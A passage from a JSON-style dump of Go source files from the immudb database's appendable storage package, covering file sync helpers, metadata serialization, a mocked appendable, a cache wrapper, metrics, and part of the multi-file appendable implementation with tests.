    "content": "//go:build unix && !linux && !darwin && !freebsd\n// +build unix,!linux,!darwin,!freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fileutils\n\nimport \"os\"\n\nfunc syncDir(path string) error {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\treturn f.Sync()\n}\n\nfunc fdatasync(f *os.File) error {\n\treturn f.Sync()\n}\n"
  },
  {
    "path": "embedded/appendable/fileutils/fileutils_windows.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fileutils\n\nimport \"os\"\n\nfunc syncDir(path string) error {\n\treturn nil\n}\n\nfunc fdatasync(f *os.File) error {\n\treturn f.Sync()\n}\n"
  },
  {
    "path": "embedded/appendable/metadata.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage appendable\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n)\n\ntype Metadata struct {\n\tdata map[string][]byte\n}\n\nfunc NewMetadata(b []byte) *Metadata {\n\tm := &Metadata{\n\t\tdata: make(map[string][]byte),\n\t}\n\tif b != nil {\n\t\tbb := bytes.NewBuffer(b)\n\t\tm.ReadFrom(bufio.NewReader(bb))\n\t}\n\treturn m\n}\n\nfunc (m *Metadata) Bytes() []byte {\n\tvar b bytes.Buffer\n\tw := bufio.NewWriter(&b)\n\tm.WriteTo(w)\n\tw.Flush()\n\treturn b.Bytes()\n}\n\nfunc (m *Metadata) ReadFrom(r io.Reader) (int64, error) {\n\tlenb, err := readField(r)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tlen := int(binary.BigEndian.Uint32(lenb))\n\n\tfor i := 0; i < len; i++ {\n\t\tk, err := readField(r)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tv, err := readField(r)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tm.data[string(k)] = v\n\t}\n\n\treturn int64(len), nil\n}\n\nfunc (m *Metadata) WriteTo(w io.Writer) (n int64, err error) {\n\tvar lenb [4]byte\n\tbinary.BigEndian.PutUint32(lenb[:], uint32(len(m.data)))\n\twn, err := writeField(lenb[:], w)\n\tn += int64(wn)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor k, v := range m.data {\n\t\twn, err = writeField([]byte(k), w)\n\t\tn += int64(wn)\n\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\twn, err = writeField(v, w)\n\t\tn += int64(wn)\n\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc (m *Metadata) PutInt(key string, n int) {\n\tvar b [8]byte\n\tbinary.BigEndian.PutUint64(b[:], uint64(n))\n\tm.Put(key, b[:])\n}\n\nfunc (m *Metadata) GetInt(key string) (int, bool) {\n\tv, ok := m.Get(key)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\treturn int(binary.BigEndian.Uint64(v)), true\n}\n\nfunc (m *Metadata) PutBool(key string, v bool) {\n\tvar b [1]byte\n\tif v {\n\t\tb[0] = 1\n\t}\n\n\tm.Put(key, b[:])\n}\n\nfunc (m *Metadata) GetBool(key string) (bool, bool) {\n\tv, ok := m.Get(key)\n\tif !ok {\n\t\treturn false, false\n\t}\n\treturn v[0] != 0, true\n}\n\nfunc (m *Metadata) Put(key string, value []byte) {\n\tm.data[key] = value\n}\n\nfunc (m *Metadata) Get(key string) ([]byte, bool) {\n\tv, ok := m.data[key]\n\treturn v, ok\n}\n\nfunc readField(r io.Reader) ([]byte, error) {\n\tvar lenb [4]byte\n\n\t_, err := r.Read(lenb[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlen := binary.BigEndian.Uint32(lenb[:])\n\n\tfb := make([]byte, len)\n\t_, err = r.Read(fb)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn fb, nil\n}\n\nfunc writeField(b []byte, w io.Writer) (n int, err error) {\n\tvar lenb [4]byte\n\n\tbinary.BigEndian.PutUint32(lenb[:], uint32(len(b)))\n\twn, err := w.Write(lenb[:])\n\tn += wn\n\tif err != nil {\n\t\treturn n, err\n\t}\n\n\twn, err = w.Write(b)\n\tn += wn\n\n\treturn\n}\n"
  },
  {
    "path": "embedded/appendable/metadata_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage appendable\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype mockedIOReader struct {\n}\n\nfunc (w *mockedIOReader) Read(b []byte) (int, error) {\n\treturn 0, errors.New(\"error\")\n}\n\ntype mockedIOWriter struct {\n}\n\nfunc (w *mockedIOWriter) Write(b []byte) (int, error) {\n\treturn 0, errors.New(\"error\")\n}\n\nfunc TestMedatada(t *testing.T) {\n\tmd := NewMetadata(nil)\n\n\t_, found := md.Get(\"intKey\")\n\trequire.False(t, found)\n\n\t_, found = md.GetInt(\"intKey\")\n\trequire.False(t, found)\n\n\t_, found = md.Get(\"boolKey\")\n\trequire.False(t, found)\n\n\t_, found = md.GetBool(\"boolKey\")\n\trequire.False(t, found)\n\n\tfor i := 0; i < 10; i++ {\n\t\tmd.PutInt(fmt.Sprintf(\"intKey_%d\", i), i)\n\t\tmd.PutBool(fmt.Sprintf(\"boolKey_%d\", i), i%2 == 0)\n\t}\n\n\tfor i := 0; i < 10; i++ {\n\t\tiv, found := md.GetInt(fmt.Sprintf(\"intKey_%d\", i))\n\t\trequire.True(t, found)\n\t\trequire.Equal(t, i, iv)\n\n\t\tbv, found := md.GetBool(fmt.Sprintf(\"boolKey_%d\", i))\n\t\trequire.True(t, found)\n\t\trequire.Equal(t, i%2 == 0, bv)\n\t}\n\n\tmd1 := NewMetadata(md.Bytes())\n\n\tfor i := 0; i < 10; i++ {\n\t\tv, found := md1.GetInt(fmt.Sprintf(\"intKey_%d\", i))\n\t\trequire.True(t, found)\n\t\trequire.Equal(t, i, v)\n\n\t\tbv, found := md.GetBool(fmt.Sprintf(\"boolKey_%d\", i))\n\t\trequire.True(t, found)\n\t\trequire.Equal(t, i%2 == 0, bv)\n\t}\n\n\tmockedReader := &mockedIOReader{}\n\t_, err := md.ReadFrom(mockedReader)\n\trequire.Error(t, err)\n\n\tmockedWriter := &mockedIOWriter{}\n\t_, err = md.WriteTo(mockedWriter)\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "embedded/appendable/mocked/mocked.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage mocked\n\ntype MockedAppendable struct {\n\tMetadataFn             func() []byte\n\tSizeFn                 func() (int64, error)\n\tOffsetFn               func() int64\n\tSetOffsetFn            func(off int64) error\n\tDiscardUptoFn          func(off int64) error\n\tAppendFn               func(bs []byte) (off int64, n int, err error)\n\tFlushFn                func() error\n\tSyncFn                 func() error\n\tSwitchToReadOnlyModeFn func() error\n\tReadAtFn               func(bs []byte, off int64) (int, error)\n\tCopyFn                 func(dstPath string) error\n\tCloseFn                func() error\n\tCompressionFormatFn    func() int\n\tCompressionLevelFn     func() int\n}\n\nfunc (a *MockedAppendable) Metadata() []byte {\n\treturn a.MetadataFn()\n}\n\nfunc (a *MockedAppendable) Copy(dstPath string) error {\n\treturn a.CopyFn(dstPath)\n}\n\nfunc (a *MockedAppendable) Size() (int64, error) {\n\treturn a.SizeFn()\n}\n\nfunc (a *MockedAppendable) Offset() int64 {\n\treturn a.OffsetFn()\n}\n\nfunc (a *MockedAppendable) SetOffset(off int64) error {\n\treturn a.SetOffsetFn(off)\n}\n\nfunc (a *MockedAppendable) DiscardUpto(off int64) error {\n\treturn a.DiscardUptoFn(off)\n}\n\nfunc (a *MockedAppendable) Append(bs []byte) (off int64, n int, err error) {\n\treturn a.AppendFn(bs)\n}\n\nfunc (a *MockedAppendable) Flush() error {\n\treturn a.FlushFn()\n}\n\nfunc (a *MockedAppendable) Sync() error {\n\treturn a.SyncFn()\n}\n\nfunc (a *MockedAppendable) SwitchToReadOnlyMode() error {\n\treturn a.SwitchToReadOnlyModeFn()\n}\n\nfunc (a *MockedAppendable) ReadAt(bs []byte, off int64) (int, error) {\n\treturn a.ReadAtFn(bs, off)\n}\n\nfunc (a *MockedAppendable) Close() error {\n\treturn a.CloseFn()\n}\n\nfunc (a *MockedAppendable) CompressionFormat() int {\n\treturn a.CompressionFormatFn()\n}\n\nfunc (a MockedAppendable) CompressionLevel() int {\n\treturn a.CompressionLevelFn()\n}\n"
  },
  {
    "path": "embedded/appendable/mocked/mocked_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage mocked\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMocked(t *testing.T) {\n\tmocked := &MockedAppendable{}\n\n\tmocked.MetadataFn = func() []byte {\n\t\treturn nil\n\t}\n\n\tmocked.CopyFn = func(path string) error {\n\t\treturn nil\n\t}\n\n\tmocked.SizeFn = func() (int64, error) {\n\t\treturn 0, nil\n\t}\n\n\tmocked.OffsetFn = func() int64 {\n\t\treturn 0\n\t}\n\n\tmocked.SetOffsetFn = func(off int64) error {\n\t\treturn nil\n\t}\n\n\tmocked.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\treturn 0, 0, nil\n\t}\n\n\tmocked.DiscardUptoFn = func(off int64) error {\n\t\treturn nil\n\t}\n\n\tmocked.FlushFn = func() error {\n\t\treturn nil\n\t}\n\n\tmocked.SyncFn = func() error {\n\t\treturn nil\n\t}\n\n\tmocked.SwitchToReadOnlyModeFn = func() error {\n\t\treturn nil\n\t}\n\n\tmocked.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\treturn 0, nil\n\t}\n\n\tmocked.CloseFn = func() error {\n\t\treturn nil\n\t}\n\n\tmocked.CompressionFormatFn = func() int {\n\t\treturn 999\n\t}\n\tmocked.CompressionLevelFn = func() int {\n\t\treturn 998\n\t}\n\n\tmd := mocked.Metadata()\n\trequire.Nil(t, md)\n\n\terr := mocked.Copy(\"copy\")\n\trequire.NoError(t, err)\n\n\tsz, err := mocked.Size()\n\trequire.Equal(t, int64(0), sz)\n\trequire.NoError(t, err)\n\n\toff := mocked.Offset()\n\trequire.Equal(t, int64(0), off)\n\n\terr = mocked.SetOffset(0)\n\trequire.NoError(t, err)\n\n\toff, n, err := mocked.Append(nil)\n\trequire.Equal(t, int64(0), off)\n\trequire.Equal(t, 0, n)\n\trequire.NoError(t, err)\n\n\terr = mocked.DiscardUpto(1)\n\trequire.NoError(t, err)\n\n\terr = mocked.Flush()\n\trequire.NoError(t, err)\n\n\terr = mocked.Sync()\n\trequire.NoError(t, err)\n\n\terr = mocked.SwitchToReadOnlyMode()\n\trequire.NoError(t, err)\n\n\tn, err = mocked.ReadAt(nil, 0)\n\trequire.Equal(t, 0, n)\n\trequire.NoError(t, err)\n\n\terr = mocked.Close()\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, 999, mocked.CompressionFormat())\n\trequire.Equal(t, 998, mocked.CompressionLevel())\n}\n"
  },
  {
    "path": "embedded/appendable/multiapp/appendable_cache.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n)\n\ntype appendableCache struct {\n\tcache *cache.Cache\n}\n\nfunc (c appendableCache) Put(key int64, value appendable.Appendable) (int64, appendable.Appendable, error) {\n\tk, v, err := c.cache.Put(key, value)\n\trkey, _ := k.(int64)\n\trvalue, _ := v.(appendable.Appendable)\n\treturn rkey, rvalue, err\n}\n\nfunc (c appendableCache) Get(key int64) (appendable.Appendable, error) {\n\tv, err := c.cache.Get(key)\n\trvalue, _ := v.(appendable.Appendable)\n\treturn rvalue, err\n}\n\nfunc (c appendableCache) Pop(key int64) (appendable.Appendable, error) {\n\tv, err := c.cache.Pop(key)\n\trvalue, _ := v.(appendable.Appendable)\n\treturn rvalue, err\n}\n\nfunc (c appendableCache) Replace(key int64, value appendable.Appendable) (appendable.Appendable, error) {\n\tv, err := c.cache.Replace(key, value)\n\trvalue, _ := v.(appendable.Appendable)\n\treturn rvalue, err\n}\n\nfunc (c appendableCache) Apply(fun func(k int64, v appendable.Appendable) error) error {\n\treturn c.cache.Apply(func(k, v interface{}) error {\n\t\treturn fun(k.(int64), v.(appendable.Appendable))\n\t})\n}\n"
  },
  {
    "path": "embedded/appendable/multiapp/appendable_cache_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/mocked\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestAppendableCache(t *testing.T) {\n\tgenericCache, err := cache.NewCache(5)\n\trequire.NoError(t, err)\n\tc := appendableCache{cache: genericCache}\n\n\tm1 := &mocked.MockedAppendable{}\n\tid, app, err := c.Put(1, m1)\n\trequire.NoError(t, err)\n\trequire.Nil(t, app)\n\trequire.Zero(t, id)\n\n\tapp, err = c.Get(1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, m1, app)\n\n\terr = c.Apply(func(k int64, v appendable.Appendable) error {\n\t\trequire.EqualValues(t, 1, k)\n\t\trequire.Equal(t, m1, v)\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\n\tfor i := 2; i < 6; i++ {\n\t\tid, app, err = c.Put(int64(i), &mocked.MockedAppendable{})\n\t\trequire.NoError(t, err)\n\t\trequire.Zero(t, id)\n\t\trequire.Nil(t, app)\n\t}\n\n\tm2 := &mocked.MockedAppendable{}\n\tid, app, err = c.Put(7, m2)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 2, id)\n\trequire.Equal(t, m1, app)\n\n\tm3 := &mocked.MockedAppendable{}\n\tapp, err = c.Replace(7, m3)\n\trequire.NoError(t, err)\n\trequire.Equal(t, m2, app)\n\n\terr = c.Apply(func(k int64, v appendable.Appendable) error {\n\t\tif k == 7 {\n\t\t\trequire.Equal(t, m3, v)\n\t\t}\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\n\tapp, err = c.Pop(7)\n\trequire.NoError(t, err)\n\trequire.Equal(t, m3, app)\n\n\terr = c.Apply(func(k int64, v appendable.Appendable) error {\n\t\trequire.NotEqualValues(t, 7, k)\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "embedded/appendable/multiapp/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\nvar (\n\t// ---- Cache ---------------------------------------\n\n\tmetricsCacheEvents = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_multiapp_cache_events\",\n\t\tHelp: \"Immudb multiapp cache event counters\",\n\t}, []string{\"event\"})\n\n\tmetricsCacheEvicted = metricsCacheEvents.WithLabelValues(\"evicted\")\n\tmetricsCacheHit     = metricsCacheEvents.WithLabelValues(\"hit\")\n\tmetricsCacheMiss    = metricsCacheEvents.WithLabelValues(\"miss\")\n\n\t// ---- Read stats ---------------------------------------\n\n\tmetricsReadEvents = promauto.NewCounterVec(prometheus.CounterOpts{\n\t\tName: \"immudb_multiapp_read_events\",\n\t\tHelp: \"Immudb multiapp read event counters\",\n\t}, []string{\"event\"})\n\n\tmetricsReads      = metricsReadEvents.WithLabelValues(\"total_reads\")\n\tmetricsReadErrors = metricsReadEvents.WithLabelValues(\"errors\")\n\tmetricsReadBytes  = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"immudb_multiapp_read_bytes\",\n\t\tHelp: \"Number of bytes read\",\n\t})\n)\n"
  },
  {
    "path": "embedded/appendable/multiapp/multi_app.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/fileutils\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n)\n\nvar ErrorPathIsNotADirectory = errors.New(\"multiapp: path is not a directory\")\nvar ErrIllegalArguments = errors.New(\"multiapp: illegal arguments\")\nvar ErrInvalidOptions = fmt.Errorf(\"%w: invalid options\", ErrIllegalArguments)\nvar ErrAlreadyClosed = errors.New(\"multiapp: already closed\")\nvar ErrReadOnly = errors.New(\"multiapp: read-only mode\")\n\nconst (\n\tmetaFileSize    = \"FILE_SIZE\"\n\tmetaWrappedMeta = \"WRAPPED_METADATA\"\n)\n\n//---------------------------------------------------------\n\nvar _ appendable.Appendable = (*MultiFileAppendable)(nil)\n\ntype MultiFileAppendableHooks interface {\n\t// Hook to open underlying appendable.\n\t// If needsWriteAccess is set to true, this appendable must be a single file appendable\n\tOpenAppendable(options *singleapp.Options, appname string, needsWriteAccess bool) (appendable.Appendable, error)\n\n\t// Hook to open the last underlying appendable that's available\n\tOpenInitialAppendable(opts *Options, singleAppOpts *singleapp.Options) (app appendable.Appendable, appID int64, err error)\n}\n\ntype DefaultMultiFileAppendableHooks struct {\n\tpath string\n}\n\nfunc (d *DefaultMultiFileAppendableHooks) OpenInitialAppendable(opts *Options, singleAppOpts *singleapp.Options) (app appendable.Appendable, appID int64, err error) {\n\tentries, err := os.ReadDir(d.path)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tvar filename string\n\n\tif len(entries) > 0 {\n\t\tfilename = entries[len(entries)-1].Name()\n\n\t\tappID, err = strconv.ParseInt(strings.TrimSuffix(filename, filepath.Ext(filename)), 10, 64)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t} else {\n\t\tappID = 0\n\t\tfilename = appendableName(appendableID(0, opts.fileSize), opts.fileExt)\n\t}\n\n\tapp, err = d.OpenAppendable(singleAppOpts, filename, true)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treturn app, appID, nil\n}\n\nfunc (d *DefaultMultiFileAppendableHooks) OpenAppendable(options *singleapp.Options, appname string, needsWriteAccess bool) (appendable.Appendable, error) {\n\treturn singleapp.Open(filepath.Join(d.path, appname), options)\n}\n\ntype MultiFileAppendable struct {\n\tappendables appendableCache\n\n\tcurrAppID int64\n\tcurrApp   appendable.Appendable\n\n\tpath           string\n\treadOnly       bool\n\tretryableSync  bool\n\tautoSync       bool\n\tfileMode       os.FileMode\n\tfileSize       int\n\tfileExt        string\n\treadBufferSize int\n\tprealloc       bool\n\n\twriteBuffer []byte // shared write-buffer only used by active appendable\n\n\tclosed bool\n\n\thooks MultiFileAppendableHooks\n\n\tmutex sync.Mutex\n}\n\nfunc Open(path string, opts *Options) (*MultiFileAppendable, error) {\n\treturn OpenWithHooks(path, &DefaultMultiFileAppendableHooks{\n\t\tpath: path,\n\t}, opts)\n}\n\nfunc OpenWithHooks(path string, hooks MultiFileAppendableHooks, opts *Options) (*MultiFileAppendable, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfinfo, err := os.Stat(path)\n\tif err != nil {\n\t\tif !os.IsNotExist(err) || opts.readOnly {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = os.Mkdir(path, opts.fileMode)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = fileutils.SyncDir(path, filepath.Dir(path))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if !finfo.IsDir() {\n\t\treturn nil, ErrorPathIsNotADirectory\n\t}\n\n\tm := appendable.NewMetadata(nil)\n\tm.PutInt(metaFileSize, opts.fileSize)\n\tm.Put(metaWrappedMeta, opts.metadata)\n\n\tvar writeBuffer []byte\n\n\tif !opts.readOnly {\n\t\t// write buffer is only needed when appendable is not opened in read-only mode\n\t\twriteBuffer = make([]byte, opts.GetWriteBufferSize())\n\t}\n\n\tappendableOpts := singleapp.DefaultOptions().\n\t\tWithReadOnly(opts.readOnly).\n\t\tWithRetryableSync(opts.retryableSync).\n\t\tWithAutoSync(opts.autoSync).\n\t\tWithFileMode(opts.fileMode).\n\t\tWithCompressionFormat(opts.compressionFormat).\n\t\tWithCompresionLevel(opts.compressionLevel).\n\t\tWithReadBufferSize(opts.readBufferSize).\n\t\tWithWriteBuffer(writeBuffer).\n\t\tWithMetadata(m.Bytes())\n\n\tif opts.prealloc {\n\t\tappendableOpts.WithPreallocSize(opts.fileSize)\n\t}\n\n\tcurrApp, currAppID, err := hooks.OpenInitialAppendable(opts, appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcache, err := cache.NewCache(opts.maxOpenedFiles)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfileSize, _ := appendable.NewMetadata(currApp.Metadata()).GetInt(metaFileSize)\n\n\treturn &MultiFileAppendable{\n\t\tappendables:    appendableCache{cache: cache},\n\t\tcurrAppID:      currAppID,\n\t\tcurrApp:        currApp,\n\t\tpath:           path,\n\t\treadOnly:       opts.readOnly,\n\t\tretryableSync:  opts.retryableSync,\n\t\tautoSync:       opts.autoSync,\n\t\tfileMode:       opts.fileMode,\n\t\tfileSize:       fileSize,\n\t\tfileExt:        opts.fileExt,\n\t\treadBufferSize: opts.readBufferSize,\n\t\tprealloc:       opts.prealloc,\n\t\twriteBuffer:    writeBuffer,\n\t\tclosed:         false,\n\t\thooks:          hooks,\n\t}, nil\n}\n\nfunc appendableName(appID int64, ext string) string {\n\treturn fmt.Sprintf(\"%08d.%s\", appID, ext)\n}\n\nfunc appendableID(off int64, fileSize int) int64 {\n\treturn off / int64(fileSize)\n}\n\nfunc (mf *MultiFileAppendable) Copy(dstPath string) error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif !mf.readOnly {\n\t\terr := mf.sync()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr := os.MkdirAll(dstPath, mf.fileMode)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tentries, err := os.ReadDir(mf.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, e := range entries {\n\t\t_, err = copyFile(path.Join(mf.path, e.Name()), path.Join(dstPath, e.Name()))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc copyFile(srcPath, dstPath string) (int64, error) {\n\tdstFile, err := os.Create(dstPath)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer dstFile.Close()\n\n\tsrcFile, err := os.Open(srcPath)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer srcFile.Close()\n\n\treturn io.Copy(dstFile, srcFile)\n}\n\nfunc (mf *MultiFileAppendable) CompressionFormat() int {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\treturn mf.currApp.CompressionFormat()\n}\n\nfunc (mf *MultiFileAppendable) CompressionLevel() int {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\treturn mf.currApp.CompressionLevel()\n}\n\nfunc (mf *MultiFileAppendable) Metadata() []byte {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tbs, _ := appendable.NewMetadata(mf.currApp.Metadata()).Get(metaWrappedMeta)\n\treturn bs\n}\n\nfunc (mf *MultiFileAppendable) Size() (int64, error) {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn 0, ErrAlreadyClosed\n\t}\n\tcurrSize, err := mf.currApp.Size()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn mf.currAppID*int64(mf.fileSize) + currSize, nil\n}\n\nfunc (mf *MultiFileAppendable) Append(bs []byte) (off int64, n int, err error) {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn 0, 0, ErrAlreadyClosed\n\t}\n\n\tif mf.readOnly {\n\t\treturn 0, 0, ErrReadOnly\n\t}\n\n\tif len(bs) == 0 {\n\t\treturn 0, 0, ErrIllegalArguments\n\t}\n\n\tfor n < len(bs) {\n\t\tavailable := mf.fileSize - int(mf.currApp.Offset())\n\n\t\tif available <= 0 {\n\t\t\t// by switching to read-only mode, the write buffer is freed\n\t\t\terr = mf.currApp.SwitchToReadOnlyMode()\n\t\t\tif err != nil {\n\t\t\t\treturn off, n, err\n\t\t\t}\n\n\t\t\t_, ejectedApp, err := mf.appendables.Put(mf.currAppID, mf.currApp)\n\t\t\tif err != nil {\n\t\t\t\treturn off, n, err\n\t\t\t}\n\n\t\t\tif ejectedApp != nil {\n\t\t\t\tmetricsCacheEvicted.Inc()\n\t\t\t\terr = ejectedApp.Close()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn off, n, err\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tmf.currAppID++\n\t\t\tcurrApp, err := mf.openAppendable(appendableName(mf.currAppID, mf.fileExt), true, true)\n\t\t\tif err != nil {\n\t\t\t\treturn off, n, err\n\t\t\t}\n\n\t\t\tmf.currApp = currApp\n\n\t\t\terr = currApp.SetOffset(0)\n\t\t\tif err != nil 